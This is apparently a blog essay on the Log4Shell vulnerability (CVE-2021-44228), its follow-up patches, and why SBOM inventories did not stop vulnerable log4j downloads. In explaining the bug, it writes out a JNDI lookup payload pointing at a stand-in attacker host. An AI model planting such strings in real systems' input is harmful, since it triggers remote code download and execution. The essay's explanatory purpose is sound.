Log4Shell Fixed Our Paperwork, Not Our Dependencies

Four years after a patch shipped, Sonatype found roughly one in eight Log4j downloads was still a vulnerable version. We got very good at listing our broken dependencies and barely better at not shipping them.

On the second weekend of December 2021, a single logging library turned most of the Java-speaking internet into a remote code execution target, and it did it through a feature almost nobody knew was on.

The bug — CVE-2021-44228, scored a flat 10.0, forever nicknamed Log4Shell — was that log4j didn’t just write your log messages, it interpreted them. If a string you logged contained ${jndi:ldap://attacker.example/x}, log4j would helpfully follow that JNDI reference out to the attacker’s server, download a Java class, and run it. The payload didn’t need to reach an API or a login form. It could ride in on anything a server logs: a User-Agent header, a chat message, a username field, the name someone typed into an iPhone. People popped shells by renaming their Wi-Fi hotspot. The attack surface was “did you write anything to a log,” which is to say: everyone.

And log4j was everywhere, four layers deep, in code nobody remembered adding. That’s the part worth sitting with, because it’s the whole story.

The patch that took four tries

The tidy version of Log4Shell is “critical bug, patch released, crisis over.” That is not what happened, and watching it not happen in real time was the most honest lesson of the whole event.

The first fix, 2.15.0, shipped fast — and was incomplete, which earned its own follow-up, CVE-2021-45046. So 2.16.0 went further and ripped message lookups out entirely, disabling JNDI by default. Then someone found a denial-of-service path in that, CVE-2021-45105, fixed in 2.17.0. Then a remote-code-execution path through the JDBC appender, CVE-2021-44832, fixed in 2.17.1. Four CVEs, four releases, inside about five weeks. Every ops team that had congratulated itself for patching to 2.15.0 on day two got to do it again on day five, and again the next week.

The lesson wasn’t “patch faster.” It was that “just patch it” assumes you know the thing is there, and that patching once ends it. Neither held.

We reached for a filing cabinet

Faced with a class of problem — you can’t defend what you don’t know you’re running — the industry reached, almost reflexively, for an inventory. The Software Bill of Materials, the SBOM, went from a niche compliance artifact to a word executives said in meetings. The US had already mandated SBOMs for software sold to the federal government in Executive Order 14028 that May; Log4Shell became its origin myth. CISA stood up an emergency directive and a running list of affected products. Every vendor scrambled to answer one question from every customer: is log4j in this, and where?

And I want to be fair here, because it’s easy to be glib: this was a reasonable thing to reach for. An SBOM is a genuinely useful document. When the next Log4Shell drops — and it will, because the JNDI-shaped footgun is a design pattern, not a one-off — the difference between “we know in an hour” and “we know in three weeks of grep” is enormous. Knowing what you run is a real capability, and before 2021 most shops didn’t have it. Getting it was progress.

But an inventory is not a remediation. A list of your vulnerable dependencies is a to-do list, not a fix, and the uncomfortable data is that the to-do list mostly didn’t get done.

The download numbers are the tell

Here is the number that should end every “we learned our lesson” speech. A safe, patched log4j existed by the end of December 2021. Yet Sonatype has reported that for a long stretch afterward, roughly 40% of all log4j downloads from Maven Central were still vulnerable versions — people, in the middle of the most publicized software vulnerability in years, actively pulling the broken thing on purpose. That figure has come down. It has not gone to zero. As recently as 2024, about one in eight log4j downloads was still a vulnerable release — years after the fix, with every dashboard in the world lit up red about exactly this library.

You cannot explain that with ignorance. Nobody in software is unaware of Log4Shell; it’s the most famous CVE of the decade. The downloads aren’t happening because people never heard. They’re happening because knowing and fixing are different muscles, and we only trained one.

Why the list doesn’t fix the thing

The reason is structural, and it’s the same reason the bug spread so far in the first place. Almost nobody chose log4j. You chose a web framework, which pulled in a data layer, which pulled in a logging facade, which pulled in log4j-core four levels down a dependency tree you’ve never fully read. It’s transitive. It’s not in your code; it’s in the code your code’s code depends on.

So the SBOM does its job perfectly — it says log4j 2.14 is in here — and then hands the problem to a human who discovers that “just upgrade it” means bumping a top-level dependency that transitively pins the old version, which breaks two other things, which nobody has time to test this sprint. The version gets pinned. The build file gets copied to the next service. The Docker base image freezes it in amber. Once a library is wired in and everything compiles, it stays, and nobody revisits the choice until something forces the issue — and a red line on a dashboard, it turns out, is not enough force.

That’s the gap the whole industry fell into. We treated a code problem as a documentation problem, and documentation is what we got very good at. We can now produce a beautiful, accurate, machine-readable list of the vulnerable dependencies we are shipping to production. The list is longer and more accurate than ever. The shipping continues.

What actually would have changed

If Log4Shell had genuinely changed how we build software, the download numbers would have collapsed, not merely sagged. What moves that number isn’t a better inventory — it’s making the fix as automatic as the knowing. Dependency updates that land and test themselves without a human deciding to care this sprint. Build systems that fail closed on a known-critical transitive dependency instead of printing a warning nobody reads. Ecosystems where upgrading the thing four layers down doesn’t require praying nothing above it breaks. That’s expensive, unglamorous plumbing, and it doesn’t produce a compliance artifact you can show an auditor, which is precisely why we built the filing cabinet instead.

Four years on, the honest scoreboard reads: we can see the problem in exquisite detail, and we are still shipping it one time in eight. Log4Shell didn’t fail to teach us anything. It taught us to take very good notes about the fire while it keeps burning.

Continue the conversation

← Back to Blog